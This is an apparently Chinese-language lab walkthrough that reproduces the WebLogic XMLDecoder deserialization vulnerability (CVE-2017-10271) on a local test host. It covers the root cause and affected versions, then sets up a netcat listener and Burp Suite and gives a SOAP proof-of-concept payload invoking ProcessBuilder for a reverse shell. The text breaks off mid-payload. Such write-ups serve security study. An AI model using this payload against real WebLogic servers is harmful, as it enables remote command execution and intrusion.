weblogic CVE-2017-10271漏洞复现
1. 介绍
名称:weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)
原理:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者可以构造XML语句,上传一句话木马,getshell。
影响版本:Weblogic 10.3.6.0, Weblogic 12.1.3.0, Weblogic 12.2.1.2, Weblogic 12.2.1.3
2. 漏洞解析
漏洞触发位置:wls-wsat.war
漏洞触发url:/wls-wsat/CoordinatorPortType(POST)
漏洞本质:主要是由于wls组件使用了webservice来请求soap请求,所以通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞,可导致执行任意命令。
扩展:
SOAP:SOAP是Web服务安全性内置协议,采用保密和身份验证规则集的方式,支持OASIS和W3C制定的标准,结合使用XML加密、XML签名和SAML令牌等方式来验证身份和授权。SOAP更安全,适合于处理敏感数据,但是比较笨重。
3. 漏洞复现
靶场IP:192.168.20.128
直接访问:192.168.20.128:7001,如果页面返回如下则说明环境搭建成功
由于触发url为/wls-wsat/CoordinatorPortType,访问http://192.168.20.128:7001/wls-wsat/CoordinatorPortType。
返回如下页面则证明存在该漏洞
打开监听:nc -lvvp 9999(任选一个未被占用的端口)
利用burpsuite进行抓包,显示如下
将其修改为post请求,右键选择change request method,再发送到repeater
构建POC(网上找的),ip是本地开nc的主机,端口即nc监听端口
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin